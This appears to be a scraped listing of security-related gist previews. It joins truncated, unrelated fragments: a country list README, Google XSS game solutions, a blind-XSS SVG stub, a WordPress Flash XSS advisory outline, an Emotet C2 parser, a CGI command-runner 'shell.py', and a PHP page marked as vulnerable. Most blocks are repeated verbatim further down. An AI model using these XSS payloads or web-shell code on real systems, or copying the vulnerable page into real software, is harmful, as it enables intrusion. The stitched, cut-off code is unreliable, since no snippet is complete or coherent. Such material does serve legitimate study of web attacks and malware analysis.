HUNTER SaFiSec

## README.markdown

      
              1 file
            
          
              47 forks
            
          
              27 comments
            
          
              147 stars
            
          
                marijn
                / README.markdown
            
            
              Last active
              October 1, 2023 13:42
            
              
                List of countries in YAML, CSV and TXT format
              
          
    List of countries

This list served quite some people but someone else did a better job since.
Go to https://github.com/umpirsky/country-list for a list in your language and format.
List of nationalities

I've also compiled a list of nationalities

  
## Google XSS challenge solutions..
Hey All,
I am P.B.Surya.Subhash, a 17 Year coder,hacker and a student.
Recently I happen to see so many posts regarding this " Google XSS Challenge " and i was fortunate enough to complete them..
These are the solutions for the challenges ;)

##############################################################################
Level 1: Hello, world of XSS

https://xss-game.appspot.com/level1/frame
query=<script>alert('xss')</script>

## Blind XSS in SVG FILE
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
  "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  <svg width="200"
       height="200"
       zoomAndPan="disable"
       xmlns="http://www.w3.org/2000/svg"
       xmlns:xlink="http://www.w3.org/1999/xlink"
       xml:space="preserve">

## wordpress.md

      
              1 file
            
          
              10 forks
            
          
              5 comments
            
          
              26 stars
            
          
                cure53
                / wordpress.md
            
            
              Last active
              February 1, 2023 22:47
            
              
                WordPress Flash XSS in flashmediaelement.swf
              
          
    WordPress Flash XSS in flashmediaelement.swf


Intro
Background
Affected Systems
Mitigation

Quick Overview


## emotet_c2_parser.py
import socket
import struct

def dump_c2_list(c2_list):
    for i in range(0xFFFFFF):

        ip = Dword(c2_list + (i*8))
        if ip == 0:
            break;


## shell.py
#!/usr/bin/env python

import cgi
import subprocess

import cgitb
cgitb.enable()

def run(command):
    if not command:

## HTMLEntitiesBypass.php
<!DOCTYPE html>

<!-- Vulnerable Code-->
<html>
<body>

  <script>

  document.write("<?php $xs=$_GET['payload']; echo htmlentities($xs);?>");
  </script>
	Hey All,
	I am P.B.Surya.Subhash, a 17 Year coder,hacker and a student.
	Recently I happen to see so many posts regarding this " Google XSS Challenge " and i was fortunate enough to complete them..
	These are the solutions for the challenges ;)

	##############################################################################
	Level 1: Hello, world of XSS

	https://xss-game.appspot.com/level1/frame
	query=<script>alert('xss')</script>
	<?xml version="1.0" standalone="no"?>
	<!DOCTYPE svg PUBLIC
	"-//W3C//DTD SVG 1.1//EN"
	"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
	<svg width="200"
	height="200"
	zoomAndPan="disable"
	xmlns="http://www.w3.org/2000/svg"
	xmlns:xlink="http://www.w3.org/1999/xlink"
	xml:space="preserve">
	import socket
	import struct

	def dump_c2_list(c2_list):
	for i in range(0xFFFFFF):

	ip = Dword(c2_list + (i*8))
	if ip == 0:
	break;
	#!/usr/bin/env python

	import cgi
	import subprocess

	import cgitb
	cgitb.enable()

	def run(command):
	if not command:
	<!DOCTYPE html>

	<!-- Vulnerable Code-->
	<html>
	<body>

	<script>

	document.write("<?php $xs=$_GET['payload']; echo htmlentities($xs);?>");
	</script>